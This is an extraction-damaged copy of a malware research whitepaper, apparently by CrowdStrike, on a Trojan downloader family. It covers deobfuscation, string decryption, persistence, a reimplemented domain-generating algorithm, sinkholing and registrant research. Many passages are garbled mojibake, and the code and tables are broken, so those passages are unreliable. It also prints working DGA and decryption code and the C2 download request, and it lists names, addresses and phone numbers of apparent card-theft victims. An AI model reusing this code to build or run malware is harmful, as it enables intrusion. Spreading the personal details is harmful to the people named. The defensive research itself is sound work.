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Infroduction

Select malware families have used Domain Generating Algorithms (DGAS) over the past few years in an
effort to evade traditional domainlbcklists, allow for fasilux domain registration and usage, and

SOIRS FylrfteadaQ FoAfAGASA (G2 LINBRAOG FGal O1 SNEQ
private industry and academia with respect to detecting Br@Aated network traffic, hiswhitepaper
demonstratesendto-endanalysis of a DGA malware family, from binary deobfuscation to DGA analysis,

to sinkholing, to domain registrant research,itwestigative findingenti KS Y I f ¢ I NBHsa | dzi K
accomplices.

OnFebruary 26, 2013, a major Aniean financial services firm received a suspicious email containing a
FAES | ddF OKYSy Hi[rédacie®hasiseri @ Siddges £ KS> FANNQa / L{ h
attachment to CrowdStrike on February 28, 2013 for analysis. CrowdStrike tfrairttie file

attachment was a heavily obfuscated Trojan downloagart of a large malware familyesigned to
download other malware from websites based on a tiseded domairmgenerating algorithm.

The malware family discussed in thikitepaperhas hiousands of active variants currently running on

the Internet anduntil recentlyhas managed to stay off of the radar of all antivirus firms. This
whitepaperbringsto light how this malware is tied to an underground campaign that has been active for
at least the past six years.




Domain Generating Algorithms

Most modern malwardamilies communicatevith G G F O] SNAQ NBY23GS ASNISNA D
downloadadditional malware from rogue servers, while bots and remote acteds (RATS)

communicate witcommandand-control (C2)4a SNIWSNA (2 SESOdzi § Malade | G i O
with this functionality is typically built with a hardcodattackerserver address or list of server
addressesontrolled by the attackeMhile malwarebuilding kits have made @asierfor malware

authors tocreate hundreds or thousands of variants compiled to use different server addrédsses,

server addresses can still be discovered by researchers and blacklisted by network engineers without
much effort.

Over the last few yaa, some malware families have begun to use a different approach to communicate
with their remote servers. Instead of using hardcoded server addresses, some malware families now use
a domain generating algorithm (DGA) in order to dynamically determeimste downloadserver

addressand CXserver addressest run time.

For example, consider a D@/Aere every minute the malware connects to the Ghitie-based server
address<month><day><year><hour><minuteam Using this examplenaJuly 31, 2013, at 2:30 PM,
the malwarewould connecto 0731131430.com Every time an attacker wants to communicate with
their malware, they choose a strikéne and a register the domain corresponding to that strikee 24
hoursbefore the time is hit. As the strikime appoaches, the attacker configures their DNS server to
point to their rogue server, and perhaps ten minutes after the sttikee, the attacketakes down their
ASNIBSNJ I yR NBY2@Sa (KS aSNWSNRa 5b{ SyiNrRo®
Using a DGA makes it impossible for security reseasdioguredict the next time malware will receive a
O2YYlF YR FTNRY I V. And@giveh irde Bddugh setNBé s D@MAputed domains,

it alsoraises the bar foresearcherdo sinkhole the server addresses

Kraken was one of the firgtalware familiesto use a DGAbeginning around April of 2088AIthough

several families such as Torpig and Srizbi have also been known to use DGAs, the most famous family to
use a DGA is Conficker, discovered in late 280&e then, academia and industry kawoth begun to

focus more on DGAs. In 2010, Texas A&M University researchers published a paper on heuristically
detecting DGA domain nantesind in 2012, Damballaleased a whitepaper on DGA usage in six new
malware familie

! http://blog.threatexpert.com/2008/04/krakerchangesactics.html
2 http://www.cs.ut.ee/~koit/KT/imc104yadav.pdf
3 https://www.damballa.com/downloads/r_pbs/WP_DGA#-the-Handsof-CyberCriminals. pdf




Malware Overview

CrowdStike has detected more thah,000 variant®f the malware described in this whitepaper. The
toolkit that created these variants apparently takes a target email address as input and creates as
output a malware variantvith that email address embedded in Most of the malware variants use
randomized strings for file names, directory names, and registry names, and also use a randomized
cryptographic seed value and otiene pad* for encrypting and decrypting. The cryptographic seed is set
at compile time; theone-time pad is recreated by the malware dynamically at run time based on the
cryptographic seed, as described below.

CrowdStrike has collectener one hundred variants diis malware, several of which contain strings
that were not encrypted. Furthermet instead of using randomized strings as are used in the encrypted
variants, the norencrypted variants use default template strings. Where applicable imthitepaper,

we call out the format of randomized strings used in the encrypted variants andefault template

strings used in the neencrypted variants.

4 http://en.wikipedia.org/wiki/Onetime_pad




Code Obfuscation and Deobfuscation

Most obfuscated malware is obfuscated with a packer. After a malware author compiles their malware,
they use a tool called a packer to compress and/or ertafyg malware. The packer also appends an
unpacking stub to the compressed/encrypted malware which at run time decompresses/decrypts the
packed code and data and executes the original ctfgpacking stubs also typically feature anti
debugging functionalit, though a detailed discussion of packers is outside the scope of this whitepaper.

Although the malware described in this whitepaper is obfuscated, it is not packed with a packer. There is
no appended unpacking stub that restores the code and data turigénal form at ruatime; instead,
obfuscated junk code is mixed in with legitimate co@lee snippet of disassembly below shows an

example where random 3Rit values are assigned stackvariables and used in mathematical

calculations. The redQ S R rudtighd are junk code; the greéfQ SR Ay a G NUzOGA 2y a |

eax,
eax, [ebp+
[ebp+
[ebp+

ecx, [ebp+
edz, [ebp+
[ecx], edx
eax, [ebp+
eax,
eax, [ebp+
eax, [ebp+
[ebp+

ecx, [ebp+
ecx, 1
[ebp+

ed:, [ebp+
edx, 1
[ebp+

eax, [ebp+
eax,
[ebp+
[ebp+

NI

83BAEACAN

1

1., eax

1. BD716B4E4h
1
1

LE1C14F Bh

1
1

1., eax

1

], ecx

1

1, edz

1

408A69533h
1, eax
1. 1

Unfortunately, this inlined obfuscation shows up when using the-Rays decompiléas well:

5 https://www.hex-rays.com/products/decompiler/index.shtml




int _ cdecl sub_48DB38{int a1, int a2, int a3)
{

int w3; // STA0_4@3

int vh; // etbE3

int vw5; // eax@3

int v7; /7 [sp+8h] [bp-18h]E@1

int u8; /7 [sp+Ch] [bp-Ch]@1

signed int v9; /7 [sp+18h] [bp-8h]@1

int v1B; /7 [sp+14h] [bp-4h]@1

v1B = al;
u? 1898418483 ;
[1}] ad;
v 134758405 ;
while { vi@ %= a1l + 4 * a2 )
{
vl = 2084904757 = vy,
*{_DWORD =)u18 = u8;
vl = _ ROR4 _ (uB, 1);
HIWORD(v8) = HIWORD{uk);
BYTE1{v8) = vh + BYTE1{vh);
vl |= Bx7SSBEPADU;
LOBYTE(u8) = vl + BYTE1(ul4) + ul;
v = (w3 + vl - Z2066108466) & Bx7B265032
= u5s & OxZFO000;
vid += 4;
H
return u? - 9 * u¥;

-

3 © (({u3 + u3 - 20661088466) & Bx7B265032) + 515518700);

However, we can manually separate the legitimate code from the junk code. If we askatall

function argumentgal, a2, anda3) arelegitimatethen we can tag all of those arguments, and also tag
as legitimateall variableghat interact with those function arguments. This yields the following tagged
decompilation:

int _ cdecl sub_48DB38({int OK_a1, int OK_a2, int OK_a3)
{

int w3; // STBO_4@3

int OK_uvk; // etoE3

int vw5; // eax@3

int w7; /7 [sp+6h] [bp-18h]@1

int DK_u8; 7/ [sp+Ch] [bp-Ch]@1

signed int v9; /7 [sp+18h] [bp-8h]@1

int OK_v18; /7 [sp+14h] [bp-%h]@1

0K_v18 = DKE_a1;
w7 = —1808418483;
0K_v8 = DK_a3;
u9 = —134758405;
while { OK_vui@ *= 0K_al1 + 4 = 0OK_a2 )
{
u3 = -2884904757 = u7;
={_DWORD =)0K_u18 = OK_u8;
OK_wh =  ROR4  (OK_vu8, 1);
HIWORD(0OK_w8) = HIWORD{DKE_uk);
BYTE1(0K_w8) = DK_vi4 + BYTE1{DK_ui);
u? |= Bx7558E2ADU;
LOBYTE(OK_w8) = DK_wi + BYTE1(OK_vi4) + OK_wk;
uS = {u3 + u3 - 20866108466) & Bx7B265832 ~ uv3 T (((v3 + vl - 20866108466) & Bx7B265832) + 515510700);
u7 = u5 & Bx2FO008;
OK_vi@ += 4;
H
return w7 - u9 = y7;

Ifwe nowremovetf f Ay Sa




int _ cdecl sub_48DB38({int OK_a1, int OK_a2, int OK_a3)
{

int OK_uvk; // eto@E3

int DK_u8; /7 [sp+Ch] [bp-Ch]@1
int OK_v18; /7 [sp+14h] [bp-%h]@1
0K _u1B = 0K_ail;

0K_v8 = DK_a3;

while { OK_vui@ *= 0K_al1 + 4 = 0OK_a2 )
{

*(_DWORD *)0K_vu18 = DK_u8;
OK vk = _ RORL_ (DK vu8, 1);
HINORD(OK_v8) = HIMORD(DK uh);
BYTE1(0K_u8) = OK_ul + BYTE1{DK_ui);

LOBYTE(OK u8) = OK_uh + BYTE1(OK wh) + DK_uk;

OK_vi@ += 4;

The code above is now easily analyzable.

However, the malware contains over a thousand functions, and manually deobfuscating the code for
eachfunctionwould be very time consuimg. Insteadye created a HeRays plugin (hamed
CrowdDetox to automate the code deobfuscation process using the following algorithra given

function:

1. Find all basic legitimate variables
1 Function arguments to the current function
Global variables
Local function variables used as parameters to function calls
Local function variables that store return values of function calls
9 Local function variables used in return statements (optional)
2. Find all norbasic legitimate local function variables
1 Local variblesare considered legitimate if their values are read from or written to other
legitimate variables
3. Keep executing Step 2 until no new legitimate local function variables are found
4. Remove all decompiled instructions that do not invdiwection calls otegitimate variables




Bebw is a graph of the original decompilation tr
CrowddDetox

ntaining 117 nodeprior to deobfuscation with

Bebw is a graph of the decompilation tree of the same function, contaioimg71 nodesafter

deobfuscation withOrowdDetox
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TheCrowdDetoxplugin is free and opesource and available at
http://www.crowdstrike.com/communitytools



http://www.crowdstrike.com/community-tools

Data Obfuscation and Deobfuscation

TKS YIfglNBEQa 9. 9 tdi@syfidgs relsted toynaliciods finBtionality STheie are no
humanreadable registry keys, file names, server addresses, or URI patess because all strings are
decryptedin memoryat run time.

The cryptographic seed is a DWORD value, staticalydd at the following location iall variants of
the malware:

32-bit Cryptographic Seed Value

File Offset Relative Virtual Address Virtual Address
0x00036A24 0x00039024 0x00439024

The length of the on¢ime pad is an encrypted DWORD value, statidatigted at the following location
in the malware:

Encrypted 32bit Onetime Pad Length
File Offset Relative Virtual Address Virtual Address
0x00036A28 0x00039028 0x00439028

If the seed value and encrypted ofiiene pad length value aréx445A4950 and0x3A59454B ,
respectively, then the strings in the malware are not encrypted. When parsed as an ASCIIZ string, these
G662 52 hwPEDEA LIKER: ¢ @

¢CKS YIfglNBQa aidNAy3Ia O0SAGKSNI SYONRBLIISR 2NJ y2i
malware:

Beginning of Strings
File Offset Relative Virtual Address Virtual Address
0x00036A30 0x00039030 0x00439030

L¥ GKS YIfglNBQa aidNAy3Ia FNB y2i SYyONBLIISR GKSy
ASCIIZ strirgP1ZD¢ ENDSE @

IfthemawadNBE Q& & GNRAYy3I& I NB Sy ONE LIS pail @bigh is@lso3he t Sy I K
f Sy3a3dkK 2F (GKS aGNRAy3Iad daSOirazyéuv A& RSONBLIISR 6@
cryptographic seed. The origne pad is generated as follows:




i < lengthOfOneTimePad ; i += 4)

oneTimePad [ i
oneTimePad [ i

(seed >> 0x00)
(seed >> 0x08)
oneTimePad [ i (seed >> 0x10) OXFF;
oneTimePad [ i (seed >> 0x18) OXFF;
seedRotated = ((seed >> 1) | (seed << (32 - 1))
seed =
(seedRotated & OxFFFFO000) |
(( seedRotated + (( seedRotated >> 0x08) & OxFF)) & OxFF) << 0x08) |
(( 2 * seedRotated + (( seedRotated >> 0x08) & OxFF)) & OxFF);

OxFF;
OxFF;

&
&
&
&

¢KS YIt 6l NBHR decriipietids joibas: O y

for (i = 0; i < (lengthOfOneTimePad i Ox0C); i++)
{

}

beginningOfStrings [i] ~= oneTimePad [ 0xO0C + i];

5dzNA Yy 3 NHzy GAYS3I (K.BataSgy ONEQiti/ SRy aliMB yASRDINI R KSNBEL
malware needs to use drig, the encrypted string gets copied to the heap, decrypted on the heap,
used, and then freed.




Malware’s Base Functionality

When first executed, the malware checks to see if the command line used to run it contains the string
AWATCHDOGPRO® LyHi I Miy a0 2l K \WATCHDORPRKEIC AlayyRQia F2ff 26SR 0@
quotes [ <file name >") on the command line, then the process terminates itself. However, if it is
followed by a file name in quotes, thé¢he malware does the following.

Command Line Contains “WATCHDOGPRO&GNd a File Name in Quotes

4 RSAONAROSR Ay RSGFAT 06St26x GKS YIFfgFINB YIF& Yl
name, henceforth referred to ascopied file name> , uses the default template string
GXZSEQWSpulacsugiingat.exe ¢ A yencyygtef variants. In encrypted variangs,S Q38eh

<copied file name> dza S (G KS T2 &€7212 kaydam ldvwerdaéd G Y a

letters> .exe € ®

lfa2 RSAONAOSR Ay RSOFAf 0St262 (GKS YlhéngefoiS dza S
referred to as<synchronization file name> , Is the same ascopied file name> but

with a different file extension. Thesynchronization file name> file extension used in nen

SY ONE LJi SR m@ exsKESEQWSE dh aL ya Sy O NB SX0s8eR ex@risibids Lisiigitie>

F2ff 206 A yR-5Tahddiv lowiextasé alphanumeric characters> € P

The malware continuously checks to see if there are any running processes whose file name is

é<copied file name> EDd LT Fyeée 27T rinki®adhén theaMmBv@Ssiedps far two NB
seconds. Depending on the existence and¥ag RA F A SR (i A<¥yBchrankatidnkil& T At S

name>x% O0AY (KS &FYS RANBOGI2NER a4 (GKS YIfglNBo:E (K
FAL S (Etopied fild ames )

Iftheff S yIFYS Ay ljd2iSa FNRBRY (KS O2YYlIYyR fAyS R2Sa
aAl S GKFy GKS YIFfgl NS LINRINFYQa FTAES aAaili Sz GKSy
from the file from the command line, copies itsedfthat file name, and sets its file system attributes to
éhidderé = I FGSNJ 6 KAOK Al NYzya GKS FAES gK2aS ylIYS 4l
terminates its own process.

This effectively ensures that the program specified on the commandsdlialkvays running.




Command Line Contains Doesn’t Contain “WATCHDOGPROC

¢CKS YIfglINB dzaSa I RANBOG2NE Ay (GKS dzaSNRa a! LILIX
RANBOG2NEQA VYI YSI <afpjicatsrfdataldiréctoryS ¥ S NNJBdRshé defadit &

G0 SYLIX I (Bousdiprbfite®> @\ Local Settings  \ Application

Data \ NICOLAEGUTAXZSEQWS A yencyygtal variants. In encrypted variangs,S Qs8eh

<application data directory >dza S G KS T2t &€%ugehpniyF 2 Nydali Y d
Settings \ Application Data \ <7- 15 random lowercase letters >¢ O

¢KS YIf gl NB ONDBdappationiddaSdireRtarNS Ol 2¥Bd L F GKS LI GK
NHzy yAy3 YIfglNBE LINEOS&4Qa Sk&Sfetiiérmnes R2Sa KBy 01
YIf gl NB O2 I<hpplisati A loddath directo & >\ <copied file name> ¢ FyR &asi
an autostart execution point (ASEP) in the registry, after which it sleeps for a second, executes
é<application data directory >\ <copied file name> ¢ > A& K ase méssade box,

and then terminates its owprocess once the message box is closed by the user.

The registry value name used by the ASEP, henceforth referreckidSisP value name> |, uses the

RSTl dzf G (S COITIONISAERWBIR ¥ Fenciypted variants. In encrypted variants,

CrowdStrike haseen<ASEP value name> dza S (G KS F 2 €428wordsfrord 2 NY I G Y «
existing Windows serviceséd dirkd | Yalyf immlaNde sasERa NB 3
value name> ¢  &dbplication data directory >\ <copied file name> € AY
OHKEY_CURRENT_USERBoftware \ Microsoft \ Windows\ CurrentVersion \ Runé @

2 S Q€éh two different message boxes shown amongst the variants. Some variants (both encrypted
and nonS y ONE LJi Sveur FageKodlkgcondmection is now secured! Thank you

for your support! €Y gKAE S 20KSNI éladhdeSiGNIOLIRSTR® SayrONE Ll
application is not compatible with the version of Windows you're

running. Check your computer's system information to see whether you

need a x86 (32 - bit) or x64 (64 - bit) version of the program, and then

contact the software publisher. €Y




e

K" Emmor

This application is not compatible with the version of Windows you're
running. Check your computer's system information to see whether
you need a x86 (32-bit) or x64 ([64-bit) version of the program, and then
contact the seftware publisher.

QK |

LF GKS LI GK (2 GKS NY¥zyyAy3 YIf gl NBopleiNieOSa 3 Q3
name> ¥ (KSy GKS F2ftf26Ay3 FdzyOliArzylfAade A& SES

¢KS YIfgFINB dzaSa I ALISOATAO FTAES yI YS efergetlio |
as<watchdog file name> , uses the default template string
GXZSEQWSwatch_dog_name.exe ¢ A yencyygtefl variants. In encrypted variangs,S Q38eh
<watchdog file name> dzaS (G KS T2 €722 ArghdomTPodeXce (Y a

letters >.exe € @

Themalwardi NA Sa (2 GSNXAYFGS LinBthEg flehames K28 SdzZBAG S VS
times (with a twesecond wait in between). It then removes any specialdilstem attributes from

é<application data directory >\ <watchdog file name> ¢ OAT GKSndkherf S SEA
copies itself to that location, after which it sets that file copy to be hidden on the file system.

L i U KS y<sy@didriizétiéniile tame> ¢ OAY GKS &alyYS RANBOUG2ZNE
writes the byted0x08, 0x07, 0x00, 0x00] to that file.

Nexi = A G <appScéridridata diréctory >\ <watchdog file name> ¢ pAGK (GKS
commandf A yS | N\IOHBQGPRGGE"ma |l war e pr oexeeutalled s file

path> "¢ > | FOSNI 6 KAOK Al LISNF2N¥Ya AdGa ySise2N] Fdzy Ol




Malware’s Network Functionality

¢ KS YI D@AchBe3 a hostname string by concatenating two pseaddomly selected strings

TNRY
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f
1
1
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1
1
1
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1

iKS

above
action
advance
afraid
against
airplane
almost
alone
already
although
always
amount
anger
angry
animal
another
answer
appear
apple
around
arrive
article
attempt
banker
basket
battle
beauty
became
because
become
before
begin
behind
being
believe
belong
beside
better

fAad

=4 =4 =8 =8 -8 8 -8 -8 -8 _5_9_2_92_9_9_-9_-9_-92-9_-9_-9_-9_-92_-9_9_-9_-°2._-2._-9._-29_-2._-2._-2._-9._-29._2._2._--2

expect
experience
explain
family
famous
fancy
father
fellow
fence
fifteen
fight
figure
finger
finish
flier
flower
follow
foreign
forest
forever
forget
fortieth
forward
found
fresh
friend
further
futu re
garden
gather
general
gentle
gentleman
glass
glossary
goodbye
govern
guard

=4 =8 -8 -8 _-5_9_-9_-9_92_92_9_-29._-19_-592_-592_-29_-19_-29_-592_-59_-29_-19_-29_-9_-9_-29_-29._-292._-9._-9_-24_-292._-242._-9._92_-24_--2_-2

0.%f 2 URYRKBLIBRRAY I &

prepare
present
president
prett vy
probable
probably
problem
produce
promise
proud
public
quarter
question
quiet
rather
ready
realize
reason
receive
record
remember
report
require
result
return
ridden
right
river
round
safety
school
season
separate
service
settle
severa
several
shake
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between
beyond
bicycle
board
borrow
bottle
bottom
branch
bread
bridge
bright
bring
broad
broken
brough t
brown
building
built
business
butter
captain
carry
catch
caught
century
chair
chance
character
charge
chief
childhood
children
choose
cigarette
circle
class
clean
clear
close
clothes
college
company
complete
condition
consider

=4 =4 =8 =8 -8 -8 -8 -8 -8 _8_9_90_°0_98_98_9_-9_-9_-9_9_9_-9_-°2_-92_-9_-9_-9_-2_-92_-292_-9_-2:_-2._-2._-92_-52_-2_-2._-"129._-29._-52_-2_-2._-2=2._-2°

happen
health
heard
heart
heaven
heavy
history
honor
however
hunger
husband
include
increase
indeed
industry
inside
instead
journey
kitchen
known
labor
ladder
language
large
laug h
laughter
leader
leave
length
letter
likely
listen
little
machine
manner
market
master
material
matter
mayor
measure
meeting
member
method
middle

=4 =8 -8 -8 -8 _5_-9_-9_-92_959_9_29._-129._-592._-95_-92_-29_-29_-292_-92_-59_-29._-29_-592_-9_-9_-29_-9_-292_-9_-9_-29_-29._-292._-9_-9_-29_-29._-92._-92_-92_-2._-29._-2°2._-°

shar e
shore
short
should
shoulder
shout
silver
simple
single
sister
smell
smoke
soldier
space
speak
special
spent
spread
spring
square
station
still
store
storm
straight
strange
stranger
stream
street
strength
strike
strong
student
subject
succeed
success
sudd en
suffer
summer
supply
suppose
surprise
sweet
system
therefore
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contain
continue
control
corner
country
course
cover
crowd
daughter
decide
degree
delight
demand
desire
destroy
device
difference
different
difficult
dinner
direct
discover
distance
distant
divide
doctor
dollar
double
doubt
dress
dried
during
early
eearly
effort
either
electric
elec tricity
english
enough
enter
escape
evening
every
except

=4 =4 =8 =8 -8 -8 -8 -8 -8 _8_9_90_°0_98_98_9_-9_-9_-9_9_9_-9_-°2_-92_-9_-9_-9_-2_-92_-292_-9_-2:_-2._-2._-92_-52_-2_-2._-"129._-29._-52_-2_-2._-2=2._-2°

might
million
minute
mister
modern
morning
mother
mountain
movement
nation
nature
nearly
necessary
needle
nei ghbor
neither
niece
night
north
nothing
notice
number
object
oclock
office
often
opinion
order
orderly
outside
paint
partial
party
people
perfect
perhaps
period
person
picture
pleasant
please
pleasure
position
possible
power
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thick
think
third
those
though
thought
through
thrown
together
toward
trade
train
training
travel
trouble
trust
twelve
twenty
understand
understood
until
valley
value
various
wagon
water
weath er
welcome
wheat
whether
while
white
whose
window
winter
within
without
woman
women
wonder
worth
would
write
written
yellow




Given the 384 strings above, this yields a posdiig456different hostnames. However, the domain
generating algorithm only usds$ bits of the seed value, and as such there are only 32,768 possible
hostnames that can be generated by the malware.

The seed used by the domagenerating algorithm is the number of seconds that have elapsed since
January 1, 1970 UTC, divided by 518stproviding a granularity of 8 minutes and 32 seconds (8 * (60
seconds/minute) + (32 seconds) = 512 seconds).

Hostnames are generated via the following algorithm (C# reinterpretation shown below for simplicity),
whereaHexHostname , aHelperTable , andaHost Strings are all hardcoded data arrays in the
malware, encrypted in the same manrtbat strings are encrypted in the malware:

string  GetHostname (UInt32 seed )

byte [] aShuffle = new byte [ 15];
for (int i = 0; i < 15; i++)

aShuffle [aHelperTable [i * 2]] = (byte )( seed & 1);
seed >>= 1;

}

int  iHostl 0;
int  iHost2 0;
for (int i 0; 0 < 7; i++)
{
iHost1 2 * iHostl | aShuffle [i];
iHost2 2 * iHost2 | aShuffle [i + 7];
}

iHost2 = (2 * iHost2 | aShuffle [14]) + 128;

UInt16 offsetHost1 (UInt16 )(( UIntl6 )( aHexHostname [iHostl * 2]) + (UIntl6 )((( UIntl6 )( aHexHostname [iHostl * 2 + 1])) << 0x08));
UInt16 offsetHost2 (UInt16 )(( UIntl6 )( aHexHostname [iHost2 * 2]) + (UIntl6 )((( UIntl6é )( aHexHostname [iHost2 * 2 + 1])) << 0x08));

string  hostl
string  host2

byte b;
while  (( b = aHostStrings [ offsetHostl ~ ++]) = 0)

{
hostl += (char )b;

}
while  (( b = aHostStrings [ offsetHost2 ~ ++]) = 0)

host2 += (char )b;

return  hostl + host2 + ".net" ;

The malware makes 85 attempts to connect to generated hostnamesdeiit+0 , seed+1 , é
seed+84 ) on TCP port 80 and sesithe following request:

GET /forum/search.php?email= <email address>  &method=post HTTP/1.0
Accept: */*

Connection: close

Host: <hosthame>

In the HTTP request above, the default template string<Email address> AXZSEQWS A Y Y2V
encrypted variants; in encrypted variants, it is a unigue email address. Basea @search, there
F LIS NB (2 SEA&G | &a3SyStafdlemd: YIt g NS LINRINI Y

l.:.l




Scrapes email address¥ N2 Y § cordpaité&r NI

Cenerates the malware described in this reparsing the scraped email addresses<femail
address> (one email address per malware variant)

Sends an email teemail address>  with the following characteristics:
1 {dzo2B8i0Ok¥emnder 6s hasseneysuimages. ¢
1 { Sy RSadom towercase alphanumeric characters> @aol.com ¢

(other hostnames are likely also used)
O GdGF OKY Sy li<logal t- Gart \f lofeRail adilress> zip €

The malware decryptsthe ¢ ¢t NB aL}R2yaS RFEGFX YR AF OSNIFAYy O2
hostname appearing 8 bytes into the HTTP response data), then the malware repeats the request to the
server. In the second response, if the HTTP response data end®wAib, 0xBB , OxBD, 0xAO,

OxAC, OxAA, OxBC, 0xBC, 0xBA, OxAC, 0xAC] , then the malwarenrites the bytes

[0x08, 0x07, 0x00, 0x00] {i 2<syachronization file name> ¢ OAYy GKS

as the malware) and writes the HTTP response data (not including the last 11tbytes)

%temp%x <downloaded prefix> <random alphanumeric string> <downloaded

postfix> .exe ¢ ®

The default template strings ferdownloaded prefix> and<downloaded postfix > are
dprefixexeXZSEQWS ¢ | YZBREQWSpostfix ¢ = NI & LIS O-ércrgpfed aantss it y 2 Y
encrypted variants, they areachd<2- 5 random lowercase alphanumeric characters> €D

LG GKSy GSNXYAylFGS&a |ff Niafathdggdile hdne>0S 3 $8 Ro SESD dA
%temp%x <downloaded prefix> <random alphanumeric string> <downloaded

postfix> .exeé BAGK O2Y Sl V¥ RBPOATESOXKEX ma |l war eds execut abl
file path> " <copied file name> <watchdog file name> €D

The malware then sleeps for about 90 seconds, and if there are no processes running whose filename is
é<watchdog file name> ¢ = A (S aSanplcatimidata directory >\ <watchdog

flename> ¢ GAGK O2Y %Il V¥ REAICHBQUPRGE"mal war eds executabl
file path> "€ P

8 http://en.wikipedia.org/wiki/Email_address#Local_part




Sinkholing

CrowdStrikesinkholedfive domains to which the DGA would resolve, one on each of the following
dates:

March 5 2013
March 6, 2013
March 7, 2013
March 8, 2013
March 9, 2013

Over the five day span, we logged nearly 15,000 hits from infected sy$betdf|
[forum/search.php?email<email address&method=post

Sinkhole Activity
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03/04/13
03/05/13
03/06/13
03/07/13
03/08/13
03/09/13
03/10/13
03/11/13
03/12/13
03/13/13
03/14/13
03/17/13
03/18/13
03/19/13
03/20/13
03/21/13
03/22/13
03/23/13
03/25/13
03/26/13
03/27/13

Of these hits, we logged 1,170 unique client IPradgl and 1,000 unique email addresses that were
posted to our sinkhole servers.

The IP addresses were generally based in the United States and Romania:




Country

Unique IP
Addresses
Logged

United States

575

Romania

321

Japan

46

Russian Federation

17

CGermany

15

France

15

India

14

Netherlands

14

United Kingdom

13

Sweden

11

Ukraine

10

Iran

10

Philippines

10

Viet Nam

[N
o

Canada

Czech Republic

Sierra Leone

Nigeria

Hungary

Norway

Libya

Thailand

China

Switzerland

Denmark

Ireland

Uganda

Austria

Israel

Bangladesh

Spain

Serbia

Kyrgyzstan

Taiwan

Malta

Greece

Mongolia

Brazil

Guam

Korea
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Haiti

Malaysia

Northern Mariana Island:
Italy

Hong Kong

Jordan

Belarus

Tarzania

Ecuador

Australia

Fiji

United Arab Emirates
Finland

Mali

Belgium

Moldova

Slovakia

RRrlRRPRRRPRRRPRIRPRRPRRPRRR R R R~

Based on the email addresses posted (for example, 1800flowers@1800reminders.com,
billing@deluxeforbusiness.cqmonsultant_fiscalinsubscibe @yahoogroups.com
fomessage+fepvdccz@facebookmail.cgmico_claims@geico.cqrandnorthwest.airlines@nwa.coin
Al FLIWSEFNAR GGKFG FYy20KSNI YIE gl NB O2YLRySyid SEAAQ

inboxes and creates this malware.

Oveall, of the 1,000 email addresses collected, we sawmZBgueemail address domainS§ome other
interestingemail statistics are as follows:

1 421 personal yahoo.coemailaddresses
66 personal aol.coramailaddresses
59 personal hotmail.coramailaddresses
31 personal comcast.ne&mailaddresses
4 .govemailaddresses
1 .milemailaddress

9 0 gmail.com addresses

Note above the disproportionately high number of yahoo.com email addresses, and the
disproportionately low number of gmail.com email addresses.




Investigative Findings on Malware Author

Several artifacts in the malware suggest a connection to Romania:

T NonSYONBLIWISR QINAlIyida 2F GKS YIfgl NS O2yil Ay
FNBY w2YlFyYyAly G2 9y3aftAakK & alldzaeed
Nonrencrypted variants of the maareY I { S dza S 2 F %d koGl RANB OlG 2 NE @
Settings \ Application Data \ NICOLAEGUTXZSEQWSIPA O 2 f I iSa pbodrnext
Romarft manelé€ singer.

Nonencrypted variants of the malwaraake use of the registry value name
GCOSTIIONITAEQWS 2 & (i A idahnprinedt Romanian manele singer.
Non-encrypted variants of the malware make use of thengfr

GADRIANCOPILUMINUNEI FLORINSALAM for entry point obfuscationAdrian Copilul
Minune'! and Florin Salakhare prominent Romani manele singers.

Non-encrypted variants of the malwarmake use of the file name
GXZSEQWSllaosugiingat  .exe € ® ¢ K S puldiosud i an$atidoselytranslates from
w2 Yl yALyY (8uckayigkinyduithrdat® a

TKS FNIAFFOGA Ay GKAA YIFIEgINB INByQdi GeLAOrHt 27
GLATRFE AyadaSFR 2F daLngdRé I 138 2 RRGabaaig Rin gatde ¢ K3Sdz3 S

dzy 02 YY2y 62NRAYI&ET O2YO0AYSR ¢ Roin&nimanklé musidzuggasnn a |

that the author is likely Romani, not Romanian.

7 http://en.wikipedia.org/wiki/Nicolae_Gu%C5%A39%868B

8 http://en.wikipedia.org/wiki/Romani_people

9 http://en.wikipedia.org/wiki/Manele

10 http://en.wikipedia.org/wiki/Costi_|oni%C8%9B%C4%83
11 https://fen.wikipedia.org/wiki/Adrian_Minune

12 http://fen.wikipedia.org/wiki/Florin_Salam
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Investigative Findings on Domain Registrants

CrowdStrikeused a twepronged approacho find domains involved in this malware campaign: {tale
scanning and historic WHGigesearch.

Real-Time Scanning

WeY2YyAG2NBR ff K2aldylYSa 3ISy SNénérd&im algosithmiféta a YI t &
two-week span and found twenty activedyF Aya GKIF&G NBALRYRSR G2 GKS YI
clear that this malware is actively being used, as more than one new domain is registered per day, on
average.

Of the 20 active domains detected via réiahe scanning, 19 were registered viadamosted by Yahoo!
LyOooQa {YIff . ‘“divithye§istrants Ksh@yahob domdmikillagtounts, and one was
registered via and hosted by Omnis Network€h the registrant using a@aol.comemail account.

As can be seen below, several regiat names and addresses are reused (highlighted), and based on
opensource research, these appear to be real people who live at the addresses given. Based on that
evidence, plus the fact that there are different phone numbers and email addresses foreggstinant

of the same namawe believethat these domains were purchased using stolen credit cards that belong
to these individuals.

CREATION EXPIRY
DOMAIN DATE DATE REGISTRANT ADMIN EMAIL ADMIN PHONE REGISTRAR

collegeearly.net 201303-05 201403-05 Richard Il rgilleyiii@yahoo.com +1.2708463527 MELBOURNE IT, LTD.
12991HenryRd. D/B/A INTERNET NAME
Henry, VA 24102 WORLDWIDE

twelvedistant.net 201303-05 201403-05 Marco Suriano surianomarco977@yahoo.com +1.773986425 MELBOURNE IT, LTD.
1431eforestavenue D/B/A INTERNET NAME
desplaines, IL 60018 WORLDWIDE

weathereearly.net 201303-05 201403-05 RobertSeifert robertwseifert@yahoo.com +1.7737916324 MELBOURNE IT, LTD.
2212W. Farwell D/B/A INTERNET NAME
Chicago, IL 60645 WORLDWIDE

electricanother.net 201303-06 201403-06 RobertSeifert gilleyiiir@yahoo.com +1.7737916124 MELBOURNE IT, LTD.
2212W. Farwell D/B/A INTERNET NAME
Chicago, IL 60645 WORLDWIDE

flierinstead.net 201303-06 201403-06 sheridrake marcosuriamo241@yahoo.com +1.7739088425 MELBOURNE IT, LTD.
201smain D/B/A INTERNET NAME
piersonstation, IL 61929 WORLDWIDE

nightstream.net 201303-06 201403-06 markemr markemr611@yahoo.com +1.2016411394 MELBOURNE IT, LTD.
30 heuerstreet D/B/A INTERNET NAME
little ferry, NJ 07643 WORLDWIDE

13 http://en.wikipedia.orgwiki/Whois

14 http://smallbusiness.yahoo.com/

B¢KS L/!'bb wSIAAGNINI T2N , I K22H LyO®Qa { YI ff
NAMES WORLDWIDE

16 http://www.omnis.com/




morningpaint.net

nightdifferent.net

quietsoldier.net

weatherdivide.net
